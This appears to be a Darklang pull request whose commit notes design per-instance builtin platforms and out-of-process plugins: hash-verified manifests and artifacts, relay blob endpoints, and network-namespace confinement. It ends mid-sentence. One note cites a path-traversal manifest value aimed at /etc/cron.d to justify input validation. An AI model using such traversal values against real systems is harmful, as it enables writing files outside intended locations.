Platforms: pick which builtins your code gets, and bring your own - #5769
Draft
StachuDotNet wants to merge 44 commits into
Draft
StachuDotNet wants to merge 44 commits into
StachuDotNet wants to merge 44 commits into
Conversation
This builds on darklang#5720, which is what made it possible, and I haven't changed that model. The platform framing comes from Roc, though we end up diverging on the main point. darklang#5720 draws two lines roughly where you'd draw them if you were the only one shipping builtins. Builtins are one flat set that every binary has all of. And `Effects.Effect` is a closed union we add cases to as we need them. Both fine. I wanted to see what they'd look like if somebody outside this repo wanted to add to them. ## What it does A platform is a named, versioned bundle of builtins plus the effects those builtins can perform. Every binary still links all of them, since NativeAOT is a closed world and there's no loading one later. What you pick is what's ACTIVE for the code you run. Ask what a program needs, then give it that and nothing else: ```bash dark platforms needed Darklang.Stdlib.List.map --activate # This instance now has 2 platforms of 20: # Core Store ``` Then you find out it worked by running the thing, rather than by reading a report: ```bash dark eval 'Stdlib.List.map [1,2,3] (fun x -> x * 2)' # [2, 4, 6] dark eval 'Stdlib.DateTime.now ()' # This needs Clock, which is off in this session. # Turning it on lets your code ask for: clock # Turn Clock on? 1. Turn it on for this instance 2. Leave it off ``` `eval`, `run` and the REPL ask. Nothing non-interactive does, so scripts and CI get the message and the command instead of a prompt they can't answer. A library can also name an effect we've never heard of, and you can answer it in the same terms: ```bash dark permissions allow acme/serial # policy updated dark permissions allow serial # invalid permission rule: serial ``` ```fsharp let readTag (port: String) :{"acme/serial"} String = ... ``` ## The core-type bit worth looking at `Effects.Effect` gains `Custom of string`, namespaced `owner/name`. `ProgramTypes` keeps the shape darklang#5720 gave it. `PackageFn` still carries `permissionCeiling : Option<Set<Effects.Effect>>`, no field added and none moved. What changed is the DOMAIN of that field. That had a consequence I liked. Adding the case moved a hardened package ref, because a `PackageOp` carries a function, which carries a ceiling, so the effect vocabulary sits inside the hash of the type every package op is written as. Changing what a capability can be rehashes the corpus, and the guard caught it on the way through. Smaller: `RuntimeTypes` gains a `Platform` record and three `ExecutionState` fields, `RuntimeError.Error` gains `BuiltinNotActive`, `Permissions.Request` gains `Custom`, and `LibParser`'s `:{...}` row takes a quoted string beside an identifier. ## Could a platform just be a package? Right now it has to be in `fsdark.sln`. What I actually want is a native executable, written in whatever, that Dark spawns and talks to. Three things I didn't want to give up: no URLs to know, no third-party host to trust, and nobody thinking about a `.so`. I think we already have somewhere to put it. The package store is content-addressed, syncs through your relay, and does approvals and pins per hash. So a platform ships as a package: a manifest plus one native artifact per (os, arch). You approve a hash rather than a hostname. Artifacts land in a cache the runtime manages, so nobody names a file. A linked platform and a spawned one look the same in `dark platforms`. Most of the wire is already there, which I didn't expect going in. `Serializers/RT/Dval.fs` puts Dvals on a pipe today, since that's how package values get stored, and `Host.perform`'s `Operation`/`Response` is a flat door to copy. What's missing is a small invoke protocol, roughly `(builtin, args) -> Dval | error`. The manifest has to be data rather than code, since the runtime typechecks against it before it ever runs the thing. Lazy activation is what makes the cost payable, which I didn't plan. Out of process means an IPC hop per call and a spawn per platform, but nothing spawns until your code reaches for it. It only works for coarse, impure builtins. A serial port, a vendor SDK, an HTTP client. Not `List.map`, and not terminal painting. That's the same category worth making optional anyway. We could ship some of ours this way too. `SealedHost` links `LibDB` for the package reader, which drags SQLite and its per-RID binaries into a binary whose whole point is being small, and `Sqlite` is also the platform that has to declare `native`. Out of process would shrink the core and put the unscopeable one behind something the OS can actually confine. Still open: function-typed params can't cross a pipe, streams and ephemeral blobs are already refused by the wire format, a wedged platform mustn't wedge the CLI, and native code is still arbitrary code. ## Two other things I tried to add `permissions deny Sqlite`, so that advertisement and control shared one vocabulary. It doesn't work. A `Rule` is checked against a `Request`, and a request doesn't know which platform produced it, so it could only ever mean `deny native`, which also denies `Posix`, `Process`, `Seed` and `Policy`. Something that reads as scoping to a platform but actually scopes to an effect felt worse than not having it. So activation and permission stay two separate mechanisms, and that's the part I'd most want pushback on. On Roc, and where we diverge: Roc says exclusivity is the whole point, one platform per app. We can't do that, because programs are content-addressed items in a corpus that syncs, so `Stdlib.List.map` would belong to one platform and the corpus would fork. Doing it at runtime instead seems to get the same property. Last thing, and it's a real cost: `Effects.Effect` carrying data means it's no longer an enum-like union, on a per-builtin-call path. That's my first suspect for a small allocation regression on the reference workload. I raised the budget in-branch rather than chase it.
Step 1 of the out-of-process plan, and it changed shape while I built it. The plan said Platform gets a provider, with a linked case and a spawned case. That looks wrong. A described platform doesn't need a second KIND of Builtins, it needs a way to produce the one kind from a description. Once that exists there's nothing for a provider field to discriminate on, and what actually differs between linked and spawned (who starts the process, who kills it) belongs to whoever constructs the platform rather than to the record. Adding the field now would have been a shape with no reader. So: Platform.External.Fn describes one builtin as data, and Platform.External.builtins pairs each description with its index and produces a real Builtins. It takes an Invoke, so transport is somebody else's problem. A test passes a function; a shipped platform will pass something that writes to a pipe. previewable is Impure and sqlSpec is NotQueryable unconditionally. Purity is a claim about a body this runtime cannot see, and guessing generously would let an analysis preview something with side effects. The permission gate came for free. A described builtin declares Custom "acme/serial" in callEffects, and the ambient gate checks callEffects before any body runs, so enforcing a capability nobody here shipped needed no new code. One test grants it and gets its answer; the other grants every WELL-KNOWN effect instead and is refused, which is the assertion that matters. Fingerprints work on a description, asserted three ways: same description hashes the same, a different declared capability hashes differently, and a different ANSWER through the same declared surface hashes the SAME. The fingerprint pins the contract. Pinning the artifact is the content hash's job, separately. The tests also found the real content of step 2: a described builtin is invisible to the PARSER. Builtin.acmeReadTag () fails name resolution even though the runtime calls the same builtin fine by name, because resolution happens in Dark under the state the parser runs in, which carries the real catalog rather than the composed set. A manifest has to reach name resolution, not just the builtin dictionary. The tests call by name and say why, so they don't quietly depend on that gap.
…earlier finding I recorded that a described builtin was invisible to name resolution and called it the real content of step 2. It isn't. Name resolution reads exeState.fns.builtIn through getAllBuiltinFns, so it sees whatever state the PARSER runs under. The shared test helper builds its own state from the stock catalog, which is why a separately composed platform looked invisible. Parse under a state whose catalog includes the described platform and Builtin.acmeReadTag () resolves, runs, and answers. So the manifest reaches name resolution by construction, and step 2 has one fewer thing in it. Keeping the caution though: 'the parser cannot see X' is an easy conclusion from a red test when the parser is Dark running under its own execution state. Ask which state first.
External.Manifest: owner, name, version, description, requires, requiresStore, and the described builtins. Close to Platform on purpose, minus the one thing that cannot travel. Manifest.toPlatform validates and then builds, returning Result rather than raising. That direction matters: a manifest arrives from outside, so refusing it has to be a value and the reason has to be nameable. It checks the shape, not the truth. Whether a platform can do what it claims is not knowable from a manifest and never will be. What is knowable is that the claim is well formed, that the signatures can cross a pipe, and that the effects named are effects. What cannot cross is checked recursively, which the existing code does not do. BuiltInParam.make raises on a bare TFn, which is the right instinct in the wrong form for a manifest and only at the top level; List<Int -> Int> and a dict of them cannot travel either. TDB and TStream go the same way, for a different reason: both are handles into state this runtime owns. A test asserts the control case too, so the check is not just refusing everything that nests. Every problem is reported at once rather than the first. The checks are independent and one message per attempt is a bad afternoon for whoever is writing the manifest. A duplicate builtin is refused. Builtin.combine catches a name claimed by two PLATFORMS, but Builtin.make is last-write-wins within one, so a manifest declaring the same builtin twice would silently keep the second and describe something the platform does not provide. No dynamicEffects field, and that is structural rather than deferred. Those are effects a builtin requests from inside its own body, which means from inside code this runtime runs. A platform behind a pipe has no such path: the only thing it can do is answer a call, so everything it can do is in fns.
The plan assumed a manifest would use the existing binary serializers, since they exist and already refuse what cannot cross. Looking at what they produce says no, for a better reason than readability. TypeReference serializes TCustomType as an FQTypeName, and FQTypeName has exactly one case: a content hash. So Result<String, String> would travel as the hash of Stdlib.Result in the store that wrote it. A platform author cannot know that hash, it moves whenever the type does, and a manifest carrying one is pinned to one corpus: you would ship a different manifest per Dark release for a type you never touched. So a manifest names types the way a person writes them and the CONSUMER resolves them. External.NamedType, a hand-written recursive descent parser, a render for round trips, and a resolve against a caller-supplied lookup. Hand-written rather than reusing LibParser, which needs a store and an execution state to run. This has to work while deciding whether to accept a manifest at all, which is before either is reasonable to require. The grammar has no case for a function type, TDB or TStream, so the rule about what can cross a pipe is now stated twice: once as a check for a manifest built programmatically, once as a grammar for one written by hand. Resolution recurses, so List<Acme.Unknown> fails rather than quietly resolving to a list of something. Asserted specifically, because resolving only the outermost name is the obvious way to write this and would pass a shallower test. The call wire stays binary. A manifest is authored once, read at install and adjacent to a human; a call is machine to machine, hot, and carries values rather than names, so the hash problem does not arise. One format for both would have been the mistake, and 'the serializers already exist' is exactly the kind of reason that sounds like engineering.
…plit Written.Manifest with parse, render and resolve. Line-oriented, key rest-of-line, blanks and # comments skipped, a fn line opening a function that the param, returns, effect and doc lines below it attach to. A plugin author can emit one with fprintf, which is the point: a format needing a library to produce makes the first platform in a new language a project rather than an afternoon. Written sits beside External exactly as WrittenTypes sits beside ProgramTypes: what a person typed, then what it means HERE, with a resolution step between that can fail. Once named that way the design stopped having decisions in it. The compiler error that forced the split was incidental but pointed the same way: nesting Written inside External shadowed Fn and Manifest, so every reference to a resolved type needed qualifying. Unknown keys are errors rather than ignored. The tempting thing is to skip a line you don't recognise, so old readers tolerate new manifests. For a contract that's exactly wrong: a platform declaring something the consumer silently drops is a platform doing less than it says, and nobody finds out until a call fails. Forward compatibility belongs in a header version bump, not a shrug. A missing header fails on line one, so pointing this at the wrong path says so instead of reporting every line of that file as an unknown key. Round trip is render-then-parse rather than comparing text, since the bytes would pin comment and blank-line layout that belong to the author. Effect names go through Effects.fromName, which already resolves well-known then custom, so a manifest declaring acme/serial needs no special case anywhere in the codec. It is a name, and names resolve.
Platforms.Install.resolve takes a PT.PackageManager, looks up every package type a manifest names, and hands Written.resolve a lookup backed by what it found. It lives in Platforms rather than LibExecution, and that is not arbitrary: Platform.fs is compiled before ProgramTypes.fs and cannot see a package manager at all. Which is exactly why NamedType.resolve took a lookup as a parameter rather than doing the lookup itself. The layering forced the right shape before I had thought about it. Names are looked up in a batch before the walk. The lookup is I/O and the walk is not, so batching keeps NamedType.resolve pure, and a manifest naming three missing types says all three rather than the first. Manifests use fully qualified names with no implicit owner. Dark source resolves Stdlib.Result through an implicit Darklang; a manifest should not, because a third party's manifest must not depend on whose shortcuts are in play. A name with no module part is refused rather than guessed at. One surprise, and my test was wrong rather than the code: Darklang.Stdlib.Result does not resolve. The type lives in a module of the same name, so the fully qualified name is Darklang.Stdlib.Result.Result. Found by asking the running system rather than re-reading the splitter, which was right. A manifest author will hit this on their first type and it will look like a typo; the error is accurate and unhelpful about the cause, so a near-miss suggestion there would earn its keep. Also worth knowing: PT.Hash and RT.Hash are distinct types over the same string, so a hash from findType is carried across rather than passed.
The plan said a platform ships as a package ITEM. What the store already has says that is more than is needed. package_blobs is content-addressed bytes keyed by SHA-256, deduped by INSERT OR IGNORE, and it syncs like everything else. A manifest is text and an executable is bytes, so both are blobs already. The only thing missing was the link between them, and that belongs in the manifest: artifact linux-x64 <sha256>, one line per target. So a platform's identity is its manifest hash and its executables hang off that. No new item kind, which matters: a new kind is a ProgramTypes change and a whole-corpus rehash, and I would have paid that for something needing no new shape. Hashes rather than paths or URLs, which is the design rather than a detail. It is what makes the delivery channel uninteresting: bytes arrive however packages arrive and are checked against the name they came under, so the relay is transport rather than an authority. 'No URLs to know, no third-party host to trust' falls out of content addressing rather than needing its own mechanism. Not building for a target is an ordinary answer. artifactFor returns an option and None is not a manifest problem: a platform may simply not exist for your machine, worth saying at install rather than at spawn, and worth not conflating with a malformed manifest. Two executables for one target is refused, since it would mean the manifest does not say which runs. The hash is exact including case: the hash is the name, and accepting two spellings would let the same bytes be approved twice under two names.
The plan assumed a platform arrives through the store and relay, since package_blobs is content-addressed and part of the package database. Checking says no: DBlob(Persistent(hash, length)) serializes as hash plus length, the bytes are not in the op, and nothing in the sync wire carries package_blobs rows. The wire carries OP blobs, which are serialized package ops, a different thing wearing a similar word. Latent rather than broken: a real store has no blob rows at all, so nothing exercises the path today and a platform artifact would have been first to hit it. Written up; whether package_blobs should sync is a separate question that affects anything storing a blob in a package value, and not mine to fix in passing. The correction improves the design. A manifest and an artifact want different treatment and I was about to give them the same. The manifest is text, small, and the thing you review, so it belongs wherever your packages are. The artifact is large, per-target and lazily needed: a Linux laptop has no use for the osx-arm64 binary, so fetching by hash on demand is better on its own terms rather than a workaround for missing blob sync. So Platforms.Artifacts, the local half of that: The cache is host state rather than package content, under the policy directory. An executable on disk is per machine and per target, and an instance restored from a backup should not arrive with a directory of foreign binaries. The package database holds the NAME; the bytes are a local cache of something re-fetchable. Verified on every check, not only at install. Trusting the filename means anything that can write the cache can swap the executable a hash approved, and the name still agrees. Hashing a file we are about to EXECUTE is not the place to save a read. Checked before the write, so a mismatched artifact never lands under a name that would later be trusted. Written to a .partial and renamed, so a crash cannot leave a truncated file under a hash claiming completeness. And a hash that is not a hash cannot name a file: it arrives from a manifest, which came from outside, so without validation a manifest could name ../../etc/cron.d/whatever.
Install.manifestFrom takes a package manager and a location, finds the value, reads it, parses and resolves. Nothing new had to be built to carry a manifest: it is text, a package value holds text, and package values already sync, content-address, approve and pin. That is the half of the delivery story that works today, and the half that matters most. The manifest is the small reviewable thing that should follow you between machines. Artifacts are large, per target and lazily needed, so they stay a fetch-by-hash into a verified local cache. A manifest must be a string LITERAL rather than an expression that computes one. A package value's body is an Expr, so a manifest could in principle be computed; allowing that would mean running package code to find out what a platform CLAIMS, which is exactly the wrong order. The manifest is what you read BEFORE deciding to trust anything about it, so the reader matches one shape and refuses the rest with a reason. A missing manifest is a value rather than an exception, same as everything else on this path: it arrives from outside, so 'not there' and 'not a manifest' are answers with reasons. What this leaves: installing a platform is a package value somebody authored (which syncs), a manifest read out of it and resolved against your store, and artifacts fetched by hash into a verified cache. Still missing is the host-owned record of which manifest hashes THIS instance has approved, which is policy and correctly does not sync.
…turns Artifacts.ensure takes a Source (hash -> Ply<Option<byte[]>>) and guarantees the bytes with that hash are on disk: verified cache first, fetch only on a miss, check what came back, then write. A function rather than a concrete source, for the third time in this work. External.Invoke took one for the call transport, NamedType.resolve took one for the store, and this takes one for the bytes. That has turned out to be the shape that keeps each piece testable without the thing below it existing yet, which is why the local half of every step has been finishable while the remote half is still a design question. The cache check verifies rather than testing for existence, so a swapped file is refetched rather than trusted. The test counts the source's calls, which is the only way from outside to tell reused from refetched, then swaps the file on disk and asserts the count goes up. The source is transport and transport is not trusted: whatever it returns is checked against the hash that was ASKED for, before anything reaches the disk. Content addressing only helps if somebody actually checks. The unavailable message names two causes, because this layer cannot tell them apart. Absent bytes mean either 'not fetched yet' or 'this platform does not build for your machine', and guessing one sends people looking in the wrong place. The local blob store is one source. What is missing is a relay source: the relay serves /ops, /sync/* and /branch/* and has no content-addressed endpoint, so that is a new endpoint plus a client plus a decision about auth. Left as an item rather than bolted on.
Policy's builtins all declared Native through one helper. Native means 'granting this hands over the machine', which is true of Sqlite.query and false of reading the instance policy. It made every command that so much as looks at an approval indistinguishable, to the effect system, from one that can open any file on the box. There was no honest existing effect for host policy state, so there are two new ones: PolicyRead and PolicyWrite. Ambient and unscoped exactly like PackageRead and TraceRead, for the same stated reason: the policy store is a host-owned whole with no per-resource handle to name, so a rule grants it or does not. Native declarations more than halved. Nothing was widened. Neither new effect is in the default instance policy, so what was native-gated before is policy-gated now and both are denied by default. The gain is only that granting policy access no longer grants everything else along with it. Two guards answering two questions: canManagePolicies still refuses guest code outright, before arguments are looked at, and the effect is what a POLICY can reason about. The reason Native was there at all was a failure to separate them. The writes declare both, derived from the hostOnly wrapper rather than listed per builtin, so a new one cannot forget. The pinned-promises test caught the change and required a deliberate update, which is what it is for. An effect surface moving silently is the failure it exists to prevent.
Platforms.Spawn starts a process, frames a call, reads the answer, and hands back an External.Invoke. The wire is the one the spike proved and it did not change: a four-byte length each way, a varint builtin index, a varint argument count, arguments as Dvals, a status byte and a Dval back. Spawning was missing from the plan and the plan's order would have been wrong. Every transport item assumed a platform that could RUN, and nothing could. Building delivery for something with no destination is the mistake an ordered list makes easy. Lazy start is what makes this affordable: nothing spawns until a builtin is actually called, so an installed platform nobody uses still costs a record and no process. One lock per process, held across request AND response. A single pipe pair is not concurrency-safe: two calls in flight interleave their frames and both get nonsense. Per process rather than global, so two platforms do not block each other. The crash case the spike found is handled, and it is the one that matters. A dead plugin is a closed pipe rather than any response, so a naive reader waits forever. It is now an error with the platform's name on it, and the handle drops the dead process so the next call starts a fresh one. The test crashes the platform deliberately and then asserts the NEXT call works. Proven with a platform in another language: backend/testfiles/platforms/echo-platform.py composes with Core, runs through the interpreter, is refused when its capability is not granted, and keeps a counter this runtime cannot see, which is the proof it is really another process rather than a clever closure. One thing for a plugin author's first page: a Dark builtin taking nothing still sends a unit argument, because a builtin declaring unit has a parameter and a DUnit crosses the wire.
Platforms.Installed is a host-owned map from platform name to the hash of the manifest it was installed from. That is the whole record. It can be that small because everything else is reachable from the hash. The manifest is cached under its own hash, in the same cache as artifacts, since it is the same kind of thing: bytes addressed by what they are. The artifact hashes are inside the manifest. So name plus hash reconstructs a platform, and the test asserts that rather than trusting it. The hash is what makes it a pin rather than a note. A manifest changing underneath an install is a different platform claiming the same name, and recording the hash is what lets anything downstream notice. It is also the hook the approval design hangs on. Not synced, deliberately, for the same reason as the policy and the activation file: installing somebody else's executable is a decision about THIS machine. The manifest is content and travels; the decision to have it does not. A broken install is skipped with its reason rather than raising. An instance with one bad install should still start, and the bad one should be visible rather than silent; testing only one of those halves is how you get a CLI that boots fine and quietly has fewer platforms than you think. Three cases pinned: rebuilt, does-not-build-for-this-target, and a manifest that was never cached, which is the shape an interrupted install leaves behind. Fail-closed parse, matching the activation file: a header we cannot read means no installs rather than every install. Failing open would run somebody's binary on the strength of a corrupted byte.
$ dark platforms install echo.manifest echo-platform.py
EchoPlatform is installed.
It is not on yet. `platforms activate EchoPlatform` turns it on.
$ dark eval 'Builtin.echoShout "hello from dark"'
HELLO FROM DARK
A Python program that knows nothing about Dark, described by a text manifest,
addressed by content hash, installed, composed into the CLI's platform set,
spawned on demand, speaking Dark's own Dval format over a pipe, and gated on a
capability this runtime never shipped.
Calls are keyed by NAME now, not by position in the manifest. Position was the
cheaper wire and it is a trap: my demo manifest declared one builtin and the
fixture's position 0 was a different function, so echoShout returned an Int64
and the type checker caught it. That was luck. The same mistake between two
functions of the same shape is a plausible wrong answer, silently. The manifest
and the plugin already agree on names, so names are what should cross; the cost
is a short string per call, which the spike measured as nothing beside the round
trip. Found by writing a manifest by hand the way an author would, and getting
it slightly wrong the way an author would.
Installing is not activating: separate decisions, and collapsing them would mean
installing something turned it on.
The machinery moved from Platforms to LibDB because no builtin assembly can see
Platforms, since the catalog references every Builtins.* and the arrow cannot
point both ways. Artifacts, spawning, install and the installed record belong
below the builtins anyway; Platforms.Compose is all that genuinely needs the
catalog.
Reading the executable is a permissioned file read in DARK; verifying it against
the manifest's hash and caching it is in the host. That split was chosen for the
relay and paid off immediately somewhere else: a local install and a relay fetch
differ only in where the bytes come from.
One staleness bug, caught by using it: asking which artifact a platform needs
went through the composed set, which is built at startup, so a platform
installed a moment earlier answered 'ships nothing for this machine'. It reads
the install record directly now.
An external platform's manifest already travelled: it is a package value, so it
syncs like anything else. Its executable did not, which left `platforms install`
needing a file path and nowhere to get one from.
Two endpoints, with deliberately different postures:
- `GET /blob/:hash` takes no credential, like every other relay read. Knowing
the hash is the only capability in the model, you cannot browse for one here,
and the client checks the bytes against the hash the manifest named, so a
relay that substituted bytes is caught on the far side.
- `POST /blob` takes the ops write secret. The cost, stated so nobody is
surprised later: a relay operator who hands out the secret so somebody can
push Dark has also let them ship an executable. The upgrade is a second
secret, and it invalidates nothing, because clients verify either way.
The hash on write is COMPUTED from the bytes rather than accepted as an
argument, so a caller cannot file bytes under a name that is not theirs, and
there is nothing to overwrite: pushing the same blob twice is the same blob.
A hash that is not a hash is a 400 rather than a 404, since "not found" would
say the relay has not got it, which is a different thing to believe.
The fetch is Dark and the cache is native. Sync already makes its HTTP calls
from Dark under the host's policy and an artifact fetch is the same kind of
call; what must not be in Dark is the decision that these bytes are the ones
the manifest meant.
$ dark platforms publish echo-platform.py
Published. cd9f886cb4e7ad14c55006eaafcf529f3051dc35c08e265a26212f1ea41ea50f
$ dark platforms install echo.manifest
EchoPlatform is installed.
Fetched its executable from http://localhost:9106.
$ dark eval 'Builtin.echoShout "fetched over the wire"'
FETCHED OVER THE WIRE
Making that last line work needed a fix in activation. `Sets.activating` resolved
names against the catalog this build LINKS, while the CLI's own set is linked
plus installed, so switching on an external platform raised "no such platform"
and then listed every platform except the one you had just installed. It takes
the catalog now, and the linked-only variant is gone rather than left as a
choice: every caller wants the composed set, and one that silently got the other
would be wrong only on machines that had installed something.
Step 4 of the plan is "move HttpClient out of process". It could not have
worked, and one throwaway platform found out why: a scratch manifest declaring
`blobLen : Blob -> Int64`, installed and called from `dark eval`, answered
Cannot serialize ephemeral blob 3deeb420-...; promote to Persistent first
which rules out every HttpClient builtin at once, since they all hand back
freshly fetched bytes.
The at-rest Dval format is right to refuse. At rest, bytes have to be
addressable, and an ephemeral blob's bytes live inline with nothing to point
at. The mistake was reusing an at-rest codec as a transport. A frame is not at
rest: it is consumed on arrival, and the receiver mints its own bytes.
So a frame now carries a blob TABLE ahead of its payload, in both directions: a
count, then hash, length and bytes. Every blob in the payload is an ordinary
persistent reference, and a receiver rehydrates the ones whose hash it was
sent. Keyed by hash rather than position, which pays twice: the same blob
passed twice is one entry, and a reference the table does not mention still
means something, namely bytes the receiver already holds.
`External.Invoke` grew an `ExecutionState`, because a blob argument may be a
reference into the store and the far side has no store to resolve it against.
The transport is what needs the store, not the platform.
What it costs, written down rather than discovered later: a persistent blob
sent to a platform is copied through a pipe, and ephemeral bytes are hashed on
every call. Both belong to "another process" rather than to this encoding, and
the only way around them is handing a plugin the store.
`DStream` is still refused, and not as a gap to close later. A stream's
lifetime is bounded by the VM that made it, so carrying one across a process
boundary is a different protocol with its own backpressure and cancellation.
HttpClient's streaming builtin therefore cannot move out of process, which is
better known before the pilot than during it.
Separately, uninstalling a platform bricked the instance: the activation record
kept the name, the composed catalog no longer had it, and every command failed
with an internal error including the ones that would have fixed it. Uninstall
drops the name from the choice now, and reading a choice SKIPS a name nobody
ships rather than raising. Validate on write, tolerate on read: a typo still
cannot be stored, since that is checked when the choice is made, but by the
time a choice is read the thing it named is allowed to have gone away.
Same method as the last one, and the same shape of answer. A throwaway platform
declaring `returns Darklang.Stdlib.Result.Result<String, String>`, with a plugin
answering a bare string:
Builtin.tryResult's return value expects
Darklang.Stdlib.Result.Result<String, String>, but got String
Two things at once. The type checker does check what a plugin hands back, so a
lying platform is caught rather than believed. And there was no way to stop
lying: an enum on the wire carries the type's CONTENT HASH, and a plugin cannot
know a hash.
Which is the same fact that made manifests name types symbolically in the first
place. A platform author cannot know a hash, so a manifest says `Stdlib.Result`
and the consumer resolves it. The gap was that the resolution stopped at the
host; the plugin needed it too and nobody had handed it over. So an external
platform could only ever return primitives, and could declare a `Result` it
could never produce.
Now the host tells it, once, when the process starts. One frame out: the wire
version, the platform's name, and every type name the manifest used with what
this store made of it. One frame back: the version the plugin speaks. A round
trip rather than an announcement, because a version mismatch found at startup
is one sentence, and found later is a corrupt frame in the middle of somebody's
program.
The table was already computed and thrown away: `Written.resolve` has to
resolve those names to build the manifest at all, and was discarding the
mapping the moment it had used it. It keeps it now, on `Manifest.types`. That
is the whole host-side change.
Worth saying for the pilot: `HttpClient` returns `Result<Response,
RequestError>`, so this and the blob table were each independently blocking it,
and neither was visible from the plan. They are not HttpClient problems. They
are what "a platform can be another process" actually costs.
A manifest declaring `httpClientRequest`, which `HttpClient` already provides, installed without complaint. Every command after that failed at startup with an internal exception, including the `platforms uninstall` that would have fixed it. The only way back was hand-editing the install record in the policy directory, which worked only because that file is deliberately plain text. That is a shape worth naming: a state you can enter with a command and can only leave by editing a file. `PlatformSet.make` was right to raise, once. When every platform was LINKED, two of them claiming a name was a build mistake decided before anybody ran anything, and startup was the only useful moment to say so. An INSTALLED collision arrives after the build, from a manifest somebody else wrote, and the same rule then means an install nobody can undo. So, three things: - Refused at INSTALL, where a person is standing and can act on it: "'httpClientRequest' is already provided by HttpClient, and two platforms cannot claim one name". Nothing is written. - Skipped at STARTUP if it gets there anyway, one platform at a time. That happens when a build grows a name an older install already had. - And the skip is VISIBLE. `dark platforms` now prints what is installed but not running, with the reason. The list was already being collected and nothing read it, which is precisely the failure its own comment warned about: an instance that boots fine and quietly has fewer platforms than you think. Shadowing was never an option, tempting as it is for "swap the built-in HTTP client for a sandboxed one". A builtin somebody trusts quietly becoming somebody else's code is worse than any error message, and a manifest cannot tell that intent apart from a mistake. If replacement is ever wanted, a person has to ask for it out loud.
`Fetch` is a few dozen lines of Python that know the wire and nothing else. It
reads a method, a url, a list of header pairs and a blob, makes the request, and
hands back a real `Stdlib.HttpClient.Response`. Everything the last three
commits built is load-bearing: the blob table carries both bodies, the handshake
supplies the `Result` and `Response` hashes, and the install refuses to collide
with the linked platform.
$ dark platforms Fetch
Fetch@0 81cd58d1862b3fb8 (on)
Outbound HTTP, in a process that is not the runtime.
reaches http
provides 1 builtin
$ dark eval '... Builtin.fetchRequest "GET" "https://example.com" [] ...'
status 200, 559 bytes, headers: Date, Content-Type, Transfer-Encoding, ...
A POST with a header and a body, aimed at a Dark server that hashes what it
receives, comes back with the hash of what was sent.
It is a pilot, not a replacement. `Fetch` cannot claim `httpClientRequest`, so
package code calling `Stdlib.HttpClient.request` still reaches the linked
platform. Replacing a linked one needs a build that does not link it, or a
person asking for replacement out loud, and that is a separate question from
whether a platform can live outside at all.
The numbers, and what they actually say:
wire, one string in and out 47 us/call
Fetch against a local server 2460 us/call
linked HttpClient, same server 440 us/call
Read quickly that says out-of-process HTTP is five times slower. It says nothing
of the kind. Python's own pooled `http.client` makes the same call in 2033 us
with no Dark anywhere in it, so the wire is 47 us and the rest is the plugin's
language. A plugin with a fast HTTP client lands at the linked number plus 47.
Connection pooling was worth 700 us/call, and finding that out mattered more
than the saving: without it the wire would have taken the blame for 3 ms that
were not its fault, and the pilot would have read as "too expensive for HTTP".
A platform that reaches the network has to pool, exactly as the platform beside
it does.
47 us rather than step 0's 22 us, and the difference is real work: dispatch by
name instead of by index, the blob table both ways, and the full builtin call
path including the effect gate. It changes no decision. Coarse builtins qualify
and fine-grained ones do not, which is what step 0 said, and a network round
trip is two orders of magnitude bigger than either number.
The payoff, and the only thing a separate process buys that nothing else can.
A platform's declared effects were a claim the gate checked before every call.
They now also confine the process: one that never mentioned the network is
started in an empty network namespace, so its executable cannot phone home
whatever its own code says.
$ dark platforms EchoPlatform
reaches acme/serial
confined no network: it never asked for one
$ dark platforms Fetch
reaches http
confined not confined: it asked for the network, so it is given one
Proved by asking rather than by reading. The echo fixture tries to open a TCP
connection and gets errno 101, ENETUNREACH, which is what an empty namespace
gives and specifically not what a timeout or a DNS failure gives; asserting on
the errno is what stops the test passing vacuously on a machine with no
network. `Fetch`, in the same session, gets a 200.
Mechanism: `unshare --map-current-user --net`. No privileges, no daemon, no
binary to install. `--map-current-user` rather than `--map-root-user`, because a
user namespace is needed before a network namespace is allowed and the process
does not need to be root inside it.
What it does not do, said plainly: not the filesystem, which needs mount
namespaces and a root to pivot into; not syscalls, which need seccomp installed
between fork and exec, and `Process.Start` offers no hook there. Both are real
and both are larger than this.
Fail visible, not fail closed and not fail silent. A platform that cannot be
confined on this machine still runs, and the line says why. Refusing would make
the feature unusable on macOS. Running and saying nothing would let somebody
believe in a sandbox they do not have, which is much the worse failure.
A platform declaring `native` gets no sandbox and is told so. That is the same
answer the policy layer already gives: no rule can honestly confine something
that can reach anything, and a namespace is no more honest than a rule.
Which settles `Sqlite`, the platform I would have moved out first. It is the one
that must declare `native`, so it gets no confinement anyway, while its calls are
tens of microseconds and would pay the 47 us hop on every name resolution. The
rule of thumb inverts: a platform belongs in another process when its calls are
already expensive and its effects are narrow enough for a namespace to mean
something. `HttpClient` is both. `Sqlite` is neither.
`LocalExec platforms doors`. The tightening report asks what each platform reaches; this asks how many builtins reach each effect, and from where, widest first. Widest first because the widest effect is the one whose policy rules mean the least: an effect reached by two builtins is nearly grantable per door, one reached by dozens is a category and a rule over it can only say yes or no to all of it. It also counts how many builtins declare no effect at all, because "how much of this is not a door" is half the answer and the half that is easy to forget. That share is large: most of the surface is arithmetic, string handling and list manipulation. "The builtin count is too high" and "the door count is too high" are different problems, and only the second one is about access. What it shows is what the plan guessed and could not prove: `package-read` is by a wide margin the widest effect, reached from five separate platforms, with `package-write` not far behind. The store machinery is the surface. Everything an operating system would call dangerous, files and processes and the network and the environment, is a much smaller set than the vocabulary Dark uses to talk about its own code. Which retargets the "get to the compiler's twelve intrinsics" item. That is not a number the interpreter walks toward by trimming `Files` and `Process`, which are already small. Closing the gap means the store's own vocabulary, which belongs with the store rather than in a platform round.
Following the doors report into its own widest answer. `package-read` turns out to be four things wearing one name: resolving a name to code, which is why `Store` is always on; browsing the corpus, which a running program never needs; SCM and branch state; and a handful that are not package reads at all. The last group looked like holes. `localDbBackupTo` writes this instance's whole store to a path the caller names and declares `package-read`, an effect granted by default because name resolution needs it. `configGet` reads instance config under the same effect. They are not holes. They are gated by CALLER TRUST, `requireBundledCaller`, which refuses anything whose call chain includes a package that did not ship with the binary. So the finding is an asymmetry rather than a hole. Effects are declared, checked before the body runs, printed by `dark permissions`, and carried in a manifest. Caller trust was a call inside a body and appeared in none of those places. Someone reading what `Instance` reaches saw `package-read` and had no way to learn that two of those builtins refuse a pulled package outright. It is a list now, printed under the doors report, with a test that greps the source for the calls and compares. Verified the way a pin should be: by adding a name no builtin uses and watching it fail, not by trusting a green run. It stays caller trust rather than becoming an effect, because both cases would have to declare `native` to be honest: a backup path is any path, and the sync transport reaches loopback and the tailnet. `native` is all or nothing, so a stock install would need `allow native` before `dark sync` worked. Caller trust is the narrower 